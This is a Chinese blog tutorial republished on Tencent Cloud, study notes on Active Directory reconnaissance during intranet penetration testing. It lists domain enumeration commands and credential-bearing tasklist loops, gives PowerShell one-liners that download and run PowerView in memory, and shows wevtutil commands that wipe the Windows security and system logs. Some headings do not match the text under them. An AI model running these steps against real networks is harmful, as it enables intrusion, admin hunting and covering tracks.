前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透基石篇—信息收集(下)

内网渗透基石篇—信息收集(下)

作者头像
顾翔
发布2021-05-17 17:02:51
1.7K0
发布2021-05-17 17:02:51
举报

前言:

目标资产信息搜集的程度,决定渗透过程的复杂程度。 目标主机信息搜集的深度,决定后渗透权限持续把控。 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。

一、收集域内基础信息

首先得做准备工作,才可以查询。

1.查询域(需要启动Computer Browser服务)

win7 在计算机管理--服务--找到CB服务,然后开启;

2.net view /domain # 查找域

3.查询域内所有计算机

net view /domain :HACKE

4.查询域内所有用户组列表(默认13个)

net group /domain

5.查询所有域成员计算机列表

net group ”domain computers“ /domain

6.获取密码信息(密码设置要求)

net accounts /domain

7.获取域信任信息

nltest /domain_trusts

二、查找域控制器

1.查找域控制器

执行以下命令,可以看到,域控制器的机器名为DC

代码语言:javascript
复制
nltest /DCLIST:hacke

2.查看域控制器的主机名

代码语言:javascript
复制
Nslookup -type=SRV _ldap._tcp

3.查看当前时间

代码语言:javascript
复制
net time/domain

4.查看域控制器

代码语言:javascript
复制
net group ”Domain Controllers” /domain

执行如下命令,可以看到,域控制器的机器名为"dc"

三、查询所有域用户列表

获取域内的用户和管理员信息

1. 查询所有域用户列表

代码语言:javascript
复制
net user/domain

2.获取域内用户的详细信息

代码语言:javascript
复制
wmic useraccount get /all

3.查看存在的用户

代码语言:javascript
复制
dsquery user

4.查询本地管理员组用户

代码语言:javascript
复制
net localgroup administrators

5.查询域管理员用户

代码语言:javascript
复制
net group " domain admins " /domain

6.查询管理用户组

代码语言:javascript
复制
net group “Enterprise Admins ”/domain

四、 定位域管理员

内网渗透测试的需求是,获取内网中特定用户或机器的权限,进而获得特定的资源,对内网的安全性进行评估。

1 域管理员定位概述

在内网中,通常会部署大量的网络安全系统和设备,例如IDS、IPS、日志审计、安全网关、反病毒软件等。在域网络攻击测试中,获取域内的一个支点后,需要获取域管理员权限。

2 常用域管理员定位工具

1.psloggedon.exe.exe 3.netview.exe 4.Nmap中的NSe脚本 5.PowerVIew 脚本 6.Empire 的User_hunter模块

3 查找域管理进程

4 本机检查

1)获取域管理员列表

代码语言:javascript
复制
net group “ Domain Admins ”/domain

2)收集域管理员列表

代码语言:javascript
复制
net group “Domain Admins " domain

3)收集所有活动域的会话列表

代码语言:javascript
复制
NetSess -h

这个工具,你得先下载,然后才可以使用。(github有)

4)交叉引用域管理员列表与活动会话列表

5. 查询远程系统中运行的任务

代码语言:javascript
复制
net group "Domain Admins " /domain

6. 扫描远程系统的NEtBios信息

首先下载脚本文件 GDA.bat

然后运行:

GDA.bat -a

查询远程系统中运行的任务(不怎么灵)

代码语言:javascript
复制
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

扫描远程系统的NetBIOS信息

代码语言:javascript
复制
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

7. 域管理员模拟方法简介

利用POwerSHell 收集域信息

1.检查Powershell状态

2.将状态修改成Unrestricted(需要管理员权限)

3.利用脚本

下载ps1 ps1,并运行查询命令

Get-NetDomain #获取当前用户所在域的名称

Get-NetUser #获取所有用户的详细信息

Get-NetComputer #获取域内所有机器的详细信息

Get-NetShare #获取当前域内所有的共享信息

Get-ADObject #获取活动目录的对象(内容超级多)

Invoke-UserHunter #获取域用户登陆的计算机信息,以及该用户是否有本地管理员权限

Invoke-ProcessHunter #通过查询域内所有的机器进程找到特定用户

8.域内用户和管理员的获取与定位

(1)adfind or powerview

使用adfind或者powerview导出域用户信息可以查看

# 查看域内用户详细信息:

adfind.exe -h DNS_SERVER_IP -sc u:username #目标用户

# 查看域用户能登录的机器(userWorkstations)

adfind.exe -h DNS_SERVER_IP -sc u:username userWorkstations

# 查看域内所有用户详细信息:

AdFind.exe -h DNS_SERVER_IP -sc u:* > result.txt

# 查看域内所有用户详细信息

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Get-NetUser -Domain yoga.com > .\test.txt"

# 使用修改组策略的方式限制登录

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Invoke-EnumerateLocalAdmin > .\test.txt"

(2)Dns解析

前提是拿到了域管,查看dc上面dns解析记录

dnscmd 127.0.0.1 /enumrecords yoga.com yoga.com. /type A

dnscmd 127.0.0.1 /zoneprint yoga.com >1.txt

(3)用户目录

查看域内所有计算机的C:\users\目录下的文件夹(登陆过该计算机的用户)

wevtutil为Windows 事件命令行实用程序,其导出的日志为evtx格式(即Windows日志本身的存储格式),可以使用Windows事件查看器分析,Crtl+F查找,或者不使用epl参数,直接重定向输出即可。wevtutil常用的场景是清理日志。

可作为筛选分析日志的工具 ,4624(用户登录成功),4768、4776(用户验证成功)

(4)域控日志

导出所有域控的登录日志,分析出用户的登录ip;

wevtutil cl application

wevtutil cl security

wevtutil cl system

wevtutil cl "windows powershell"

wevtutil qe security /q:"Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]" /f:text /rd:true /c:1 > EvtLogon.dat

wevtutil qe Security /q:"*[EventData[Data[@Name='LogonType']='10'] and EventData[Data[@Name='TargetUserName']='RcoIl'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 2592000000]]]"

wevtutil qe Security /q:"*[System[(Keywords='0x8020000000000000')] and EventData[Data[@Name='SubjectUserName']='RcoIl']]" /f:text /rd:true /c:2

# 参数说明

qe: 从日志或日志文件中查询事件;(默认xml格式显示)

Security: 指定安全事件的日志;

/q: 筛选规则,可以打开Windows事件查看器的筛选器配置筛选条件后转至XML复制筛选规则;

/f: 以text格式显示

/rd: 指定读取事件的方向

/c: 指定个数

该命令其它参数参考wevtutil /?

(5)其他工具(可能不全)

1、psloggendon.exe chris

2、netsess.exe \\PRIMARY

3、PVEFindADUser.exe -current需要管理员权限,可以枚举出域用户以及登录过特定系统的用户

4、netview.exe

9.寻找域用户正在登录的主机

检查远程机器注册表项HKEY_USERS拿到正在登录的用户SID

五、内网环境的判断及拓扑架构分析

1.位置的判断

判断机器处于网络拓扑中的某个区域,是DMZ区,办公区,核心区还是核心DB等多个位置

2. 角色的判断

假如是服务器,判断是否是Web服务器,开发测试服务器,公共服务器,文件服务器,代理服务器,DNS服务器,存储服务器等..

具体需要通过机器内的主机名、文件、网络连接等多种情况进行综合判断

主机名是最好判断的,通常Web或App是Web服务器;Dev是开发服务器;NAS是存储服务器;File或者Fileserver是文件服务器…..

通过网络连接判断也成,代理服务器可能有多个机器连接代理端口;更新服务器(WSUS)可能开放更新端口8530;DNS服务器开放53端口…..

3.连通性的判断

指的是机器能否从外面进来,能否出去。这关乎于后续的代理和木马

4.端口的判断

外网***开放监听端口,内网机器测试常见端口,或者直接端口扫描

常见能出去的端口:80、8080、443、53、110、123等

5.协议的判断

通常就是TCP、HTTP、ICMP、DNS等协议

利用adfind查询该sid用户

AdFind.exe -b cn=users,dc=yoga,dc=com -f "(objectSid:=S-1-5-21-2104426803-785674075-3345604858-1106)"

这个方法不需要很高的域用户权限,但是Server默认才会开启远程注册表,PC默认不会开启

TCP协议

nc -lvnp port

内网机器:nc ip port

DNS协议

windows:nslookup dnslog

linux: dig dnslog

HTTP协议

nc -lvnp 80(8080)

内网机器:curl ip:80(8080) / 浏览器访问

ICMP协议

由于是网络层协议,内网直接利用ping命令,然后***用tcpdump等抓包工具抓包进行验证

判断

  • 查看网络连接判断是否有连接其他机器端口,尝试ping -n 1 -a ip
  • 使用arp -a + nbtstat -A ip是否存在主机名为Proxy的主机
  • IE浏览器的Internet设置(直接连接、PAC文件)

最终用Curl进行确认

12

curl www.baidu.com //不通curl -x proxy-ip:port www.baidu.com //通

六、敏感数据的防护

内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。可以说,价值较高的数据基本都在内网中。

1 资料、数据、文件的定位流程

(1).定位内部人事组织结构

2.在内部人事组织结构中寻找需要监视的人员l

3.定位相关人员的机器

4.监视相关人员存放文档的位置

5.列出存放文档的服务器的目录

(2) 重点核心业务机器及敏感信息防护

1.核心业务机器

2.敏感信息和敏感文件

(3) 应用与文件形式信息的防护

2. 分析域内网段划分情况及拓扑机构

1.在掌握了内网的相关信息后,渗透测试人员可以分析目标网络的结构和安全防御策略,获取网段信息、各部门的ip地址段。

(1) 基本架构

asp+ Access+ IIs5.0/6.0+ windows sever 2003

aspx+Mysql+IIS7.0/7.5 +windows server 2008

php+Mysql+IIS

php+Mysql+Apache

php+MYsql+Nginx

jsp+mysql+nginx

jsp+mysql+Tomcat

jsp+oracle+Tomcat

(2) 域内网段划分

在判断内网环境时,首先需要分析内网ip地按址的分布情况。一般可以通过内网中的服务器、交换机等设备,以及snmp、弱口令等,获取内网网络拓扑或dns域传送的信息。

网段是怎么划分的?按照楼层划分网段,还是按照地区划分网段?

内网通常可分为DMZ、办公区、核心区

1.DMz

在实际的渗透测试中,大多数情况下,在**web环境中拿到的权限都在dmz中。这个区域不属于严格意义上的内网。如果访问控制策略配置合理,dmz就会处在从内网能够访问DMz,而从dmz访问不能进入内网的状态。

2.办公区

办公区,是指日常工作区。办公区的安全防护水平通常不高,基本的防护机制大多数为杀毒软件或主机入侵检测产品。

3.核心区

核心区内一般存放着企业最重要的数据、文档等信息资产(例如域控制器、核心生产机器)安全全设置也最为严格。

3. 多层域结构

1.在上述内容的基础中,可以尝试分析域结构

4. 绘制内网拓扑图

通过目标主机及所在域的各类信息,就可以绘制内网的拓扑图了。

总结:

本文是通过阅读《内网渗透攻防》来学习内网知识,从0到1。

顾老师专注企业内训和线下公开课,有兴趣者加顾老师微信xianggu0625

——————————————————————————————————

顾老师课程欢迎报名

软件安全测试

https://study.163.com/course/courseMain.htm?courseId=1209779852&share=2&shareId=480000002205486

接口自动化测试

https://study.163.com/course/courseMain.htm?courseId=1209794815&share=2&shareId=480000002205486

DevOps 和Jenkins之DevOps

https://study.163.com/course/courseMain.htm?courseId=1209817844&share=2&shareId=480000002205486

DevOps与Jenkins 2.0之Jenkins

https://study.163.com/course/courseMain.htm?courseId=1209819843&share=2&shareId=480000002205486

Selenium自动化测试

https://study.163.com/course/courseMain.htm?courseId=1209835807&share=2&shareId=480000002205486

性能测试第1季:性能测试基础知识

https://study.163.com/course/courseMain.htm?courseId=1209852815&share=2&shareId=480000002205486

性能测试第2季:LoadRunner12使用

https://study.163.com/course/courseMain.htm?courseId=1209980013&share=2&shareId=480000002205486

性能测试第3季:JMeter工具使用

https://study.163.com/course/courseMain.htm?courseId=1209903814&share=2&shareId=480000002205486

性能测试第4季:监控与调优

https://study.163.com/course/courseMain.htm?courseId=1209959801&share=2&shareId=480000002205486

Django入门

https://study.163.com/course/courseMain.htm?courseId=1210020806&share=2&shareId=480000002205486

啄木鸟顾老师漫谈软件测试

https://study.163.com/course/courseMain.htm?courseId=1209958326&share=2&shareId=480000002205486

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-05-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 软件测试培训 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言:
  • 一、收集域内基础信息
    • 1.查询域(需要启动Computer Browser服务)
      • 2.net view /domain # 查找域
        • 3.查询域内所有计算机
          • 4.查询域内所有用户组列表(默认13个)
            • 5.查询所有域成员计算机列表
              • 6.获取密码信息(密码设置要求)
                • 7.获取域信任信息
                • 二、查找域控制器
                  • 1.查找域控制器
                    • 2.查看域控制器的主机名
                      • 3.查看当前时间
                        • 4.查看域控制器
                        • 三、查询所有域用户列表
                          • 获取域内的用户和管理员信息
                            • 2.获取域内用户的详细信息
                              • 3.查看存在的用户
                                • 4.查询本地管理员组用户
                                  • 5.查询域管理员用户
                                    • 6.查询管理用户组
                                    • 四、 定位域管理员
                                      • 1 域管理员定位概述
                                        • 2 常用域管理员定位工具
                                          • 3 查找域管理进程
                                            • 4 本机检查
                                              • 5. 查询远程系统中运行的任务
                                                • 6. 扫描远程系统的NEtBios信息
                                                  • 7. 域管理员模拟方法简介
                                                    • 利用POwerSHell 收集域信息
                                                      • (1)adfind or powerview
                                                        • 五、内网环境的判断及拓扑架构分析
                                                          • 1.位置的判断
                                                            • 2. 角色的判断
                                                              • 3.连通性的判断
                                                                • 六、敏感数据的防护
                                                                  • 1 资料、数据、文件的定位流程
                                                                    • (2) 重点核心业务机器及敏感信息防护
                                                                      • (3) 应用与文件形式信息的防护
                                                                        • 2. 分析域内网段划分情况及拓扑机构
                                                                          • (1) 基本架构
                                                                            • (2) 域内网段划分
                                                                              • 3. 多层域结构
                                                                                • 4. 绘制内网拓扑图
                                                                                • 本文是通过阅读《内网渗透攻防》来学习内网知识,从0到1。
                                                                                相关产品与服务
                                                                                访问管理
                                                                                访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
                                                                                领券
                                                                                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档